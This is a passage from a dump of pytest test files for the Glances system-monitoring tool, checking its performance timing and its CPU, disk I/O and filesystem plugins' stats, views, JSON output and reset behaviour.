    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unitary tests suite for Glances perf.\"\"\"\n\nfrom glances.timer import Timer\n\n\ndef test_perf_update(glances_stats):\n    \"\"\"\n    Test Glances perf.\n    \"\"\"\n    test_duration = 12  # seconds\n    perf_timer = Timer(test_duration)\n    counter = 0\n    from_cache = 0\n    from_update = 0\n    previous_interrupts_gauge = None\n    while not perf_timer.finished():\n        glances_stats.update()\n        # interrupts_gauge should always increase\n        interrupts_gauge = glances_stats.get_plugin('cpu').get_raw().get('interrupts_gauge')\n        if interrupts_gauge is not None:\n            if interrupts_gauge == previous_interrupts_gauge:\n                from_cache += 1\n            else:\n                from_update += 1\n                previous_interrupts_gauge = interrupts_gauge\n        counter += 1\n    print(f\"{counter} iterations. From cache: {from_cache} | From update: {from_update}\")\n    assert counter > test_duration\n    assert from_update < from_cache\n    assert from_cache >= test_duration * 2\n    assert from_update >= (test_duration / 2) - 1\n"
  },
  {
    "path": "tests/test_plugin_cpu.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the CPU plugin.\"\"\"\n\nimport json\nimport time\n\nimport pytest\n\nfrom glances.globals import WINDOWS\n\n\n@pytest.fixture\ndef cpu_plugin(glances_stats):\n    \"\"\"Return the CPU plugin instance from glances_stats.\"\"\"\n    return glances_stats.get_plugin('cpu')\n\n\nclass TestCpuPluginBasics:\n    \"\"\"Test basic CPU plugin functionality.\"\"\"\n\n    def test_plugin_name(self, cpu_plugin):\n        \"\"\"Test plugin name is correctly set.\"\"\"\n        assert cpu_plugin.plugin_name == 'cpu'\n\n    def test_plugin_is_enabled(self, cpu_plugin):\n        \"\"\"Test that the plugin is enabled by default.\"\"\"\n        assert cpu_plugin.is_enabled() is True\n\n    def test_display_curse_enabled(self, cpu_plugin):\n        \"\"\"Test that curse display is enabled.\"\"\"\n        assert cpu_plugin.display_curse is True\n\n    def test_history_items_defined(self, cpu_plugin):\n        \"\"\"Test that history items are properly defined.\"\"\"\n        items = cpu_plugin.get_items_history_list()\n        assert items is not None\n        assert len(items) >= 2\n        item_names = [item['name'] for item in items]\n        assert 'user' in item_names\n        assert 'system' in item_names\n\n\nclass TestCpuPluginUpdate:\n    \"\"\"Test CPU plugin update functionality.\"\"\"\n\n    def test_update_returns_dict(self, cpu_plugin):\n        \"\"\"Test that update returns a dictionary.\"\"\"\n        cpu_plugin.update()\n        stats = cpu_plugin.get_raw()\n        assert isinstance(stats, dict)\n\n    def test_update_contains_mandatory_keys(self, cpu_plugin):\n        \"\"\"Test that stats contain mandatory keys.\"\"\"\n        cpu_plugin.update()\n        stats = cpu_plugin.get_raw()\n        mandatory_keys = ['total', 'system', 'user', 'idle']\n        for key in mandatory_keys:\n            assert key in stats, f\"Missing mandatory key: {key}\"\n\n    def test_cpu_percentages_in_valid_range(self, cpu_plugin):\n        \"\"\"Test that CPU percentages are within valid range.\"\"\"\n        cpu_plugin.update()\n        stats = cpu_plugin.get_raw()\n        percentage_keys = ['total', 'system', 'user', 'idle']\n        for key in percentage_keys:\n            if key in stats and stats[key] is not None:\n                assert 0 <= stats[key] <= 100, f\"{key} percentage out of range: {stats[key]}\"\n\n    def test_total_cpu_calculation(self, cpu_plugin):\n        \"\"\"Test that total CPU is correctly calculated.\"\"\"\n        cpu_plugin.update()\n        stats = cpu_plugin.get_raw()\n        assert 'total' in stats\n        assert stats['total'] >= 0\n\n    def test_cpucore_count(self, cpu_plugin):\n        \"\"\"Test that CPU core count is reported.\"\"\"\n        cpu_plugin.update()\n        stats = cpu_plugin.get_raw()\n        assert 'cpucore' in stats\n        assert stats['cpucore'] >= 1\n\n\nclass TestCpuPluginContextSwitches:\n    \"\"\"Test CPU context switches and interrupts stats.\"\"\"\n\n    def test_ctx_switches_present(self, cpu_plugin):\n        \"\"\"Test that context switches stat is present.\"\"\"\n        cpu_plugin.update()\n        time.sleep(0.1)\n        cpu_plugin.update()\n        stats = cpu_plugin.get_raw()\n        assert 'ctx_switches' in stats\n\n    def test_interrupts_present(self, cpu_plugin):\n        \"\"\"Test that interrupts stat is present.\"\"\"\n        cpu_plugin.update()\n        time.sleep(0.1)\n        cpu_plugin.update()\n        stats = cpu_plugin.get_raw()\n        assert 'interrupts' in stats\n\n    @pytest.mark.skipif(WINDOWS, reason=\"soft_interrupts not available on Windows\")\n    def test_soft_interrupts_present(self, cpu_plugin):\n        \"\"\"Test that soft interrupts stat is present on non-Windows.\"\"\"\n        cpu_plugin.update()\n        time.sleep(0.1)\n        cpu_plugin.update()\n        stats = cpu_plugin.get_raw()\n        assert 'soft_interrupts' in stats\n\n\nclass TestCpuPluginViews:\n    \"\"\"Test CPU plugin views functionality.\"\"\"\n\n    def test_update_views_creates_views(self, cpu_plugin):\n        \"\"\"Test that update_views creates views dictionary.\"\"\"\n        cpu_plugin.update()\n        cpu_plugin.update_views()\n        views = cpu_plugin.get_views()\n        assert isinstance(views, dict)\n\n    def test_views_contain_decoration(self, cpu_plugin):\n        \"\"\"Test that views contain decoration for total CPU.\"\"\"\n        cpu_plugin.update()\n        cpu_plugin.update_views()\n        views = cpu_plugin.get_views()\n        assert 'total' in views\n        assert 'decoration' in views['total']\n\n\nclass TestCpuPluginJSON:\n    \"\"\"Test CPU plugin JSON serialization.\"\"\"\n\n    def test_get_stats_returns_json(self, cpu_plugin):\n        \"\"\"Test that get_stats returns valid JSON.\"\"\"\n        cpu_plugin.update()\n        stats_json = cpu_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert isinstance(parsed, dict)\n\n    def test_json_contains_expected_fields(self, cpu_plugin):\n        \"\"\"Test that JSON output contains expected fields.\"\"\"\n        cpu_plugin.update()\n        stats_json = cpu_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert 'total' in parsed\n        assert 'user' in parsed\n        assert 'system' in parsed\n\n\nclass TestCpuPluginHistory:\n    \"\"\"Test CPU plugin history functionality.\"\"\"\n\n    def test_history_enable_check(self, cpu_plugin):\n        \"\"\"Test that history_enable returns a boolean.\"\"\"\n        result = cpu_plugin.history_enable()\n        assert isinstance(result, bool)\n\n    def test_get_items_history_list(self, cpu_plugin):\n        \"\"\"Test that get_items_history_list returns the history items.\"\"\"\n        items = cpu_plugin.get_items_history_list()\n        if items is not None:\n            assert isinstance(items, list)\n            assert len(items) >= 2\n\n\nclass TestCpuPluginReset:\n    \"\"\"Test CPU plugin reset functionality.\"\"\"\n\n    def test_reset_clears_stats(self, cpu_plugin):\n        \"\"\"Test that reset clears stats.\"\"\"\n        cpu_plugin.update()\n        cpu_plugin.reset()\n        stats = cpu_plugin.get_raw()\n        assert stats == cpu_plugin.get_init_value()\n\n    def test_reset_views(self, cpu_plugin):\n        \"\"\"Test that reset_views clears views.\"\"\"\n        cpu_plugin.update()\n        cpu_plugin.update_views()\n        cpu_plugin.reset_views()\n        assert cpu_plugin.get_views() == {}\n\n\nclass TestCpuPluginFieldsDescription:\n    \"\"\"Test CPU plugin fields description.\"\"\"\n\n    def test_fields_description_exists(self, cpu_plugin):\n        \"\"\"Test that fields_description is defined.\"\"\"\n        assert cpu_plugin.fields_description is not None\n\n    def test_mandatory_fields_described(self, cpu_plugin):\n        \"\"\"Test that mandatory fields have descriptions.\"\"\"\n        mandatory_fields = ['total', 'system', 'user', 'idle']\n        for field in mandatory_fields:\n            assert field in cpu_plugin.fields_description\n\n    def test_field_has_description(self, cpu_plugin):\n        \"\"\"Test that each field has a description.\"\"\"\n        for field, info in cpu_plugin.fields_description.items():\n            assert 'description' in info, f\"Field {field} missing description\"\n\n\nclass TestCpuPluginAlerts:\n    \"\"\"Test CPU plugin alert functionality.\"\"\"\n\n    def test_get_alert_returns_valid_status(self, cpu_plugin):\n        \"\"\"Test that get_alert returns a valid status.\"\"\"\n        cpu_plugin.update()\n        alert = cpu_plugin.get_alert(50, minimum=0, maximum=100, header='total')\n        valid_statuses = [\n            'OK',\n            'OK_LOG',\n            'CAREFUL',\n            'CAREFUL_LOG',\n            'WARNING',\n            'WARNING_LOG',\n            'CRITICAL',\n            'CRITICAL_LOG',\n            'DEFAULT',\n            'MAX',\n        ]\n        assert any(alert.startswith(status) for status in valid_statuses)\n\n    def test_alert_levels(self, cpu_plugin):\n        \"\"\"Test different alert levels based on CPU usage.\"\"\"\n        cpu_plugin.update()\n        # Low usage should be OK\n        alert_low = cpu_plugin.get_alert(10, minimum=0, maximum=100, header='total')\n        # The result depends on config, but should not be CRITICAL for 10%\n        assert not alert_low.startswith('CRITICAL')\n\n\nclass TestCpuPluginMsgCurse:\n    \"\"\"Test CPU plugin curse message generation.\"\"\"\n\n    def test_msg_curse_returns_list(self, cpu_plugin):\n        \"\"\"Test that msg_curse returns a list.\"\"\"\n        cpu_plugin.update()\n        msg = cpu_plugin.msg_curse()\n        assert isinstance(msg, list)\n\n    def test_msg_curse_format(self, cpu_plugin):\n        \"\"\"Test that msg_curse returns properly formatted entries.\"\"\"\n        cpu_plugin.update()\n        # Ensure args.percpu is not set to get output\n        if hasattr(cpu_plugin.args, 'percpu'):\n            original_percpu = cpu_plugin.args.percpu\n            cpu_plugin.args.percpu = False\n        msg = cpu_plugin.msg_curse()\n        if msg:  # May be empty if percpu mode or disabled\n            for entry in msg:\n                assert isinstance(entry, dict)\n                assert 'msg' in entry\n        if hasattr(cpu_plugin.args, 'percpu'):\n            cpu_plugin.args.percpu = original_percpu\n\n    def test_msg_curse_has_title_when_enabled(self, cpu_plugin):\n        \"\"\"Test that msg_curse contains CPU title when not in percpu mode.\"\"\"\n        cpu_plugin.update()\n        if hasattr(cpu_plugin.args, 'percpu'):\n            original_percpu = cpu_plugin.args.percpu\n            cpu_plugin.args.percpu = False\n        msg = cpu_plugin.msg_curse()\n        if msg:\n            messages = [m.get('msg', '') for m in msg]\n            assert any('CPU' in str(m) for m in messages)\n        if hasattr(cpu_plugin.args, 'percpu'):\n            cpu_plugin.args.percpu = original_percpu\n"
  },
  {
    "path": "tests/test_plugin_diskio.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the DiskIO plugin.\"\"\"\n\nimport json\nimport time\n\nimport pytest\n\n\n@pytest.fixture\ndef diskio_plugin(glances_stats):\n    \"\"\"Return the DiskIO plugin instance from glances_stats.\"\"\"\n    return glances_stats.get_plugin('diskio')\n\n\nclass TestDiskioPluginBasics:\n    \"\"\"Test basic DiskIO plugin functionality.\"\"\"\n\n    def test_plugin_name(self, diskio_plugin):\n        \"\"\"Test plugin name is correctly set.\"\"\"\n        assert diskio_plugin.plugin_name == 'diskio'\n\n    def test_plugin_is_enabled(self, diskio_plugin):\n        \"\"\"Test that the plugin is enabled by default.\"\"\"\n        assert diskio_plugin.is_enabled() is True\n\n    def test_display_curse_enabled(self, diskio_plugin):\n        \"\"\"Test that curse display is enabled.\"\"\"\n        assert diskio_plugin.display_curse is True\n\n    def test_get_key_returns_disk_name(self, diskio_plugin):\n        \"\"\"Test that get_key returns disk_name.\"\"\"\n        assert diskio_plugin.get_key() == 'disk_name'\n\n    def test_history_items_defined(self, diskio_plugin):\n        \"\"\"Test that history items are properly defined.\"\"\"\n        items = diskio_plugin.get_items_history_list()\n        assert items is not None\n        item_names = [item['name'] for item in items]\n        assert 'read_bytes_rate_per_sec' in item_names\n        assert 'write_bytes_rate_per_sec' in item_names\n\n\nclass TestDiskioPluginUpdate:\n    \"\"\"Test DiskIO plugin update functionality.\"\"\"\n\n    def test_update_returns_list(self, diskio_plugin):\n        \"\"\"Test that update returns a list.\"\"\"\n        diskio_plugin.update()\n        stats = diskio_plugin.get_raw()\n        assert isinstance(stats, list)\n\n    def test_each_disk_has_name(self, diskio_plugin):\n        \"\"\"Test that each disk entry has a name.\"\"\"\n        diskio_plugin.update()\n        stats = diskio_plugin.get_raw()\n        for disk in stats:\n            assert 'disk_name' in disk\n\n    def test_read_write_bytes_present(self, diskio_plugin):\n        \"\"\"Test that read_bytes and write_bytes are present.\"\"\"\n        diskio_plugin.update()\n        time.sleep(0.1)\n        diskio_plugin.update()\n        stats = diskio_plugin.get_raw()\n        for disk in stats:\n            assert 'read_bytes' in disk\n            assert 'write_bytes' in disk\n\n    def test_bytes_values_non_negative(self, diskio_plugin):\n        \"\"\"Test that byte values are non-negative.\"\"\"\n        diskio_plugin.update()\n        stats = diskio_plugin.get_raw()\n        for disk in stats:\n            if 'read_bytes' in disk and disk['read_bytes'] is not None:\n                assert disk['read_bytes'] >= 0\n            if 'write_bytes' in disk and disk['write_bytes'] is not None:\n                assert disk['write_bytes'] >= 0\n\n\nclass TestDiskioPluginRateCalculation:\n    \"\"\"Test DiskIO plugin rate calculation.\"\"\"\n\n    def test_rate_fields_after_two_updates(self, diskio_plugin):\n        \"\"\"Test that rate fields are populated after two updates.\"\"\"\n        diskio_plugin.update()\n        time.sleep(0.2)\n        diskio_plugin.update()\n        stats = diskio_plugin.get_raw()\n        for disk in stats:\n            assert 'read_bytes_rate_per_sec' in disk or 'read_bytes' in disk\n            assert 'write_bytes_rate_per_sec' in disk or 'write_bytes' in disk\n\n\nclass TestDiskioPluginLatency:\n    \"\"\"Test DiskIO plugin latency calculation.\"\"\"\n\n    def test_latency_fields_present(self, diskio_plugin):\n        \"\"\"Test that latency fields are present after update.\"\"\"\n        diskio_plugin.update()\n        time.sleep(0.1)\n        diskio_plugin.update()\n        stats = diskio_plugin.get_raw()\n        for disk in stats:\n            assert 'read_latency' in disk\n            assert 'write_latency' in disk\n\n    def test_latency_values_non_negative(self, diskio_plugin):\n        \"\"\"Test that latency values are non-negative.\"\"\"\n        diskio_plugin.update()\n        time.sleep(0.1)\n        diskio_plugin.update()\n        stats = diskio_plugin.get_raw()\n        for disk in stats:\n            if 'read_latency' in disk and disk['read_latency'] is not None:\n                assert disk['read_latency'] >= 0\n            if 'write_latency' in disk and disk['write_latency'] is not None:\n                assert disk['write_latency'] >= 0\n\n\nclass TestDiskioPluginCounters:\n    \"\"\"Test DiskIO plugin read/write counters.\"\"\"\n\n    def test_read_count_present(self, diskio_plugin):\n        \"\"\"Test that read_count is present.\"\"\"\n        diskio_plugin.update()\n        stats = diskio_plugin.get_raw()\n        for disk in stats:\n            assert 'read_count' in disk\n\n    def test_write_count_present(self, diskio_plugin):\n        \"\"\"Test that write_count is present.\"\"\"\n        diskio_plugin.update()\n        stats = diskio_plugin.get_raw()\n        for disk in stats:\n            assert 'write_count' in disk\n\n\nclass TestDiskioPluginViews:\n    \"\"\"Test DiskIO plugin views functionality.\"\"\"\n\n    def test_update_views_creates_views(self, diskio_plugin):\n        \"\"\"Test that update_views creates views dictionary.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        views = diskio_plugin.get_views()\n        assert isinstance(views, dict)\n\n    def test_views_keyed_by_disk(self, diskio_plugin):\n        \"\"\"Test that views are keyed by disk name.\"\"\"\n        diskio_plugin.update()\n        time.sleep(0.1)\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        views = diskio_plugin.get_views()\n        stats = diskio_plugin.get_raw()\n        for disk in stats:\n            if disk['disk_name'] in views:\n                assert isinstance(views[disk['disk_name']], dict)\n\n\nclass TestDiskioPluginJSON:\n    \"\"\"Test DiskIO plugin JSON serialization.\"\"\"\n\n    def test_get_stats_returns_json(self, diskio_plugin):\n        \"\"\"Test that get_stats returns valid JSON.\"\"\"\n        diskio_plugin.update()\n        stats_json = diskio_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert isinstance(parsed, list)\n\n    def test_json_preserves_disk_data(self, diskio_plugin):\n        \"\"\"Test that JSON output preserves disk data.\"\"\"\n        diskio_plugin.update()\n        stats_json = diskio_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        for disk in parsed:\n            assert 'disk_name' in disk\n\n\nclass TestDiskioPluginHistory:\n    \"\"\"Test DiskIO plugin history functionality.\"\"\"\n\n    def test_history_enable(self, diskio_plugin):\n        \"\"\"Test that history can be enabled.\"\"\"\n        assert diskio_plugin.history_enable() is not None\n\n\nclass TestDiskioPluginReset:\n    \"\"\"Test DiskIO plugin reset functionality.\"\"\"\n\n    def test_reset_clears_stats(self, diskio_plugin):\n        \"\"\"Test that reset clears stats.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.reset()\n        stats = diskio_plugin.get_raw()\n        assert stats == diskio_plugin.get_init_value()\n\n    def test_reset_views(self, diskio_plugin):\n        \"\"\"Test that reset_views clears views.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        diskio_plugin.reset_views()\n        assert diskio_plugin.get_views() == {}\n\n\nclass TestDiskioPluginFieldsDescription:\n    \"\"\"Test DiskIO plugin fields description.\"\"\"\n\n    def test_fields_description_exists(self, diskio_plugin):\n        \"\"\"Test that fields_description is defined.\"\"\"\n        assert diskio_plugin.fields_description is not None\n\n    def test_mandatory_fields_described(self, diskio_plugin):\n        \"\"\"Test that mandatory fields have descriptions.\"\"\"\n        mandatory_fields = ['disk_name', 'read_bytes', 'write_bytes']\n        for field in mandatory_fields:\n            assert field in diskio_plugin.fields_description\n\n    def test_rate_fields_described(self, diskio_plugin):\n        \"\"\"Test that rate-enabled fields have rate flag.\"\"\"\n        rate_fields = ['read_bytes', 'write_bytes', 'read_count', 'write_count']\n        for field in rate_fields:\n            if field in diskio_plugin.fields_description:\n                assert diskio_plugin.fields_description[field].get('rate') is True\n\n    def test_latency_fields_described(self, diskio_plugin):\n        \"\"\"Test that latency fields are described.\"\"\"\n        latency_fields = ['read_latency', 'write_latency']\n        for field in latency_fields:\n            assert field in diskio_plugin.fields_description\n\n\nclass TestDiskioPluginConfiguration:\n    \"\"\"Test DiskIO plugin configuration options.\"\"\"\n\n    def test_hide_zero_attribute(self, diskio_plugin):\n        \"\"\"Test that hide_zero attribute exists.\"\"\"\n        assert hasattr(diskio_plugin, 'hide_zero')\n\n    def test_hide_zero_fields_defined(self, diskio_plugin):\n        \"\"\"Test that hide_zero_fields is defined.\"\"\"\n        assert hasattr(diskio_plugin, 'hide_zero_fields')\n        assert isinstance(diskio_plugin.hide_zero_fields, list)\n\n    def test_hide_threshold_bytes_attribute(self, diskio_plugin):\n        \"\"\"Test that hide_threshold_bytes attribute exists.\"\"\"\n        assert hasattr(diskio_plugin, 'hide_threshold_bytes')\n\n\nclass TestDiskioPluginMsgCurse:\n    \"\"\"Test DiskIO plugin curse message generation.\"\"\"\n\n    def test_msg_curse_returns_list(self, diskio_plugin):\n        \"\"\"Test that msg_curse returns a list.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        msg = diskio_plugin.msg_curse(max_width=80)\n        assert isinstance(msg, list)\n\n    def test_msg_curse_empty_without_max_width(self, diskio_plugin):\n        \"\"\"Test that msg_curse returns empty without max_width.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        msg = diskio_plugin.msg_curse()\n        assert isinstance(msg, list)\n\n    def test_msg_curse_with_max_width(self, diskio_plugin):\n        \"\"\"Test that msg_curse works with max_width.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        msg = diskio_plugin.msg_curse(max_width=80)\n        assert isinstance(msg, list)\n\n\nclass TestDiskioPluginSorting:\n    \"\"\"Test DiskIO plugin sorting functionality.\"\"\"\n\n    def test_sorted_stats_returns_list(self, diskio_plugin):\n        \"\"\"Test that sorted_stats returns a list.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        sorted_stats = diskio_plugin.sorted_stats()\n        assert isinstance(sorted_stats, list)\n\n    def test_sorted_stats_preserves_count(self, diskio_plugin):\n        \"\"\"Test that sorted_stats preserves disk count.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        raw_count = len(diskio_plugin.get_raw())\n        sorted_count = len(diskio_plugin.sorted_stats())\n        assert raw_count == sorted_count\n\n\nclass TestDiskioPluginExport:\n    \"\"\"Test DiskIO plugin export functionality.\"\"\"\n\n    def test_get_export_returns_list(self, diskio_plugin):\n        \"\"\"Test that get_export returns a list.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        export = diskio_plugin.get_export()\n        assert isinstance(export, list)\n\n    def test_export_equals_raw(self, diskio_plugin):\n        \"\"\"Test that export equals raw stats by default.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        assert diskio_plugin.get_export() == diskio_plugin.get_raw()\n\n\nclass TestDiskioPluginAlerts:\n    \"\"\"Test DiskIO plugin alert functionality.\"\"\"\n\n    def test_views_have_decoration(self, diskio_plugin):\n        \"\"\"Test that disk views have decoration after update.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        time.sleep(0.1)\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        views = diskio_plugin.get_views()\n        stats = diskio_plugin.get_raw()\n\n        for disk in stats:\n            disk_name = disk['disk_name']\n            if disk_name in views and 'read_bytes' in views[disk_name]:\n                assert 'decoration' in views[disk_name]['read_bytes']\n\n\nclass TestDiskioPluginAlias:\n    \"\"\"Test DiskIO plugin alias functionality.\"\"\"\n\n    def test_alias_field_may_be_present(self, diskio_plugin):\n        \"\"\"Test that alias field may be present for disks.\"\"\"\n        diskio_plugin.update()\n        diskio_plugin.update_views()\n        stats = diskio_plugin.get_raw()\n        # Alias is optional, so just verify the field handling works\n        for disk in stats:\n            if 'alias' in disk:\n                assert disk['alias'] is None or isinstance(disk['alias'], str)\n"
  },
  {
    "path": "tests/test_plugin_fs.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Tests for the FileSystem plugin.\"\"\"\n\nimport json\n\nimport pytest\n\n\n@pytest.fixture\ndef fs_plugin(glances_stats):\n    \"\"\"Return the FileSystem plugin instance from glances_stats.\"\"\"\n    return glances_stats.get_plugin('fs')\n\n\nclass TestFsPluginBasics:\n    \"\"\"Test basic FileSystem plugin functionality.\"\"\"\n\n    def test_plugin_name(self, fs_plugin):\n        \"\"\"Test plugin name is correctly set.\"\"\"\n        assert fs_plugin.plugin_name == 'fs'\n\n    def test_plugin_is_enabled(self, fs_plugin):\n        \"\"\"Test that the plugin is enabled by default.\"\"\"\n        assert fs_plugin.is_enabled() is True\n\n    def test_display_curse_enabled(self, fs_plugin):\n        \"\"\"Test that curse display is enabled.\"\"\"\n        assert fs_plugin.display_curse is True\n\n    def test_get_key_returns_mnt_point(self, fs_plugin):\n        \"\"\"Test that get_key returns mnt_point.\"\"\"\n        assert fs_plugin.get_key() == 'mnt_point'\n\n    def test_history_items_defined(self, fs_plugin):\n        \"\"\"Test that history items are properly defined.\"\"\"\n        items = fs_plugin.get_items_history_list()\n        assert items is not None\n        item_names = [item['name'] for item in items]\n        assert 'percent' in item_names\n\n\nclass TestFsPluginUpdate:\n    \"\"\"Test FileSystem plugin update functionality.\"\"\"\n\n    def test_update_returns_list(self, fs_plugin):\n        \"\"\"Test that update returns a list.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        assert isinstance(stats, list)\n\n    def test_each_fs_has_mnt_point(self, fs_plugin):\n        \"\"\"Test that each filesystem entry has a mount point.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            assert 'mnt_point' in fs\n\n    def test_each_fs_has_device_name(self, fs_plugin):\n        \"\"\"Test that each filesystem entry has a device name.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            assert 'device_name' in fs\n\n    def test_size_used_free_present(self, fs_plugin):\n        \"\"\"Test that size, used, and free are present.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            assert 'size' in fs\n            assert 'used' in fs\n            assert 'free' in fs\n\n    def test_percent_present(self, fs_plugin):\n        \"\"\"Test that percent is present.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            assert 'percent' in fs\n\n\nclass TestFsPluginValues:\n    \"\"\"Test FileSystem plugin values validity.\"\"\"\n\n    def test_size_values_positive(self, fs_plugin):\n        \"\"\"Test that size values are positive.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            if fs['size'] is not None:\n                assert fs['size'] > 0\n\n    def test_used_values_non_negative(self, fs_plugin):\n        \"\"\"Test that used values are non-negative.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            if fs['used'] is not None:\n                assert fs['used'] >= 0\n\n    def test_free_values_non_negative(self, fs_plugin):\n        \"\"\"Test that free values are non-negative.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            if fs['free'] is not None:\n                assert fs['free'] >= 0\n\n    def test_percent_in_valid_range(self, fs_plugin):\n        \"\"\"Test that percent is within valid range.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            if fs['percent'] is not None:\n                assert 0 <= fs['percent'] <= 100\n\n    def test_used_plus_free_equals_size(self, fs_plugin):\n        \"\"\"Test that used + free approximately equals size.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            if all(fs.get(k) is not None for k in ['used', 'free', 'size']):\n                calculated = fs['used'] + fs['free']\n                # Allow some tolerance due to reserved space\n                assert calculated <= fs['size'] * 1.1\n\n\nclass TestFsPluginFsType:\n    \"\"\"Test FileSystem plugin filesystem type information.\"\"\"\n\n    def test_fs_type_present(self, fs_plugin):\n        \"\"\"Test that fs_type is present.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            assert 'fs_type' in fs\n\n    def test_options_present(self, fs_plugin):\n        \"\"\"Test that options field is present.\"\"\"\n        fs_plugin.update()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            assert 'options' in fs\n\n\nclass TestFsPluginViews:\n    \"\"\"Test FileSystem plugin views functionality.\"\"\"\n\n    def test_update_views_creates_views(self, fs_plugin):\n        \"\"\"Test that update_views creates views dictionary.\"\"\"\n        fs_plugin.update()\n        fs_plugin.update_views()\n        views = fs_plugin.get_views()\n        assert isinstance(views, dict)\n\n    def test_views_keyed_by_mnt_point(self, fs_plugin):\n        \"\"\"Test that views are keyed by mount point.\"\"\"\n        fs_plugin.update()\n        fs_plugin.update_views()\n        views = fs_plugin.get_views()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            if fs['mnt_point'] in views:\n                assert isinstance(views[fs['mnt_point']], dict)\n\n    def test_views_have_used_decoration(self, fs_plugin):\n        \"\"\"Test that views have decoration for used field.\"\"\"\n        fs_plugin.update()\n        fs_plugin.update_views()\n        views = fs_plugin.get_views()\n        stats = fs_plugin.get_raw()\n        for fs in stats:\n            mnt = fs['mnt_point']\n            if mnt in views and 'used' in views[mnt]:\n                assert 'decoration' in views[mnt]['used']\n\n\nclass TestFsPluginJSON:\n    \"\"\"Test FileSystem plugin JSON serialization.\"\"\"\n\n    def test_get_stats_returns_json(self, fs_plugin):\n        \"\"\"Test that get_stats returns valid JSON.\"\"\"\n        fs_plugin.update()\n        stats_json = fs_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        assert isinstance(parsed, list)\n\n    def test_json_preserves_fs_data(self, fs_plugin):\n        \"\"\"Test that JSON output preserves filesystem data.\"\"\"\n        fs_plugin.update()\n        stats_json = fs_plugin.get_stats()\n        parsed = json.loads(stats_json)\n        for fs in parsed:\n            assert 'mnt_point' in fs\n            assert 'device_name' in fs\n\n\nclass TestFsPluginHistory:\n    \"\"\"Test FileSystem plugin history functionality.\"\"\"\n\n    def test_history_enable(self, fs_plugin):\n        \"\"\"Test that history can be enabled.\"\"\"\n        assert fs_plugin.history_enable() is not None\n\n\nclass TestFsPluginReset:\n    \"\"\"Test FileSystem plugin reset functionality.\"\"\"\n\n    def test_reset_clears_stats(self, fs_plugin):\n        \"\"\"Test that reset clears stats.\"\"\"\n        fs_plugin.update()\n        fs_plugin.reset()\n        stats = fs_plugin.get_raw()\n        assert stats == fs_plugin.get_init_value()\n\n    def test_reset_views(self, fs_plugin):\n        \"\"\"Test that reset_views clears views.\"\"\"\n        fs_plugin.update()\n        fs_plugin.update_views()\n        fs_plugin.reset_views()\n        assert fs_plugin.get_views() == {}\n\n\nclass TestFsPluginFieldsDescription:\n    \"\"\"Test FileSystem plugin fields description.\"\"\"\n\n    def test_fields_description_exists(self, fs_plugin):\n        \"\"\"Test that fields_description is defined.\"\"\"\n        assert fs_plugin.fields_description is not None\n\n    def test_mandatory_fields_described(self, fs_plugin):\n        \"\"\"Test that mandatory fields have descriptions.\"\"\"\n        mandatory_fields = ['device_name', 'mnt_point', 'size', 'used', 'free', 'percent']\n        for field in mandatory_fields:\n            assert field in fs_plugin.fields_description\n\n    def test_byte_fields_have_unit(self, fs_plugin):\n        \"\"\"Test that byte fields have unit defined.\"\"\"\n        byte_fields = ['size', 'used', 'free']\n        for field in byte_fields:\n            if field in fs_plugin.fields_description:\n                assert 'unit' in fs_plugin.fields_description[field]\n\n\nclass TestFsPluginMsgCurse:\n    \"\"\"Test FileSystem plugin curse message 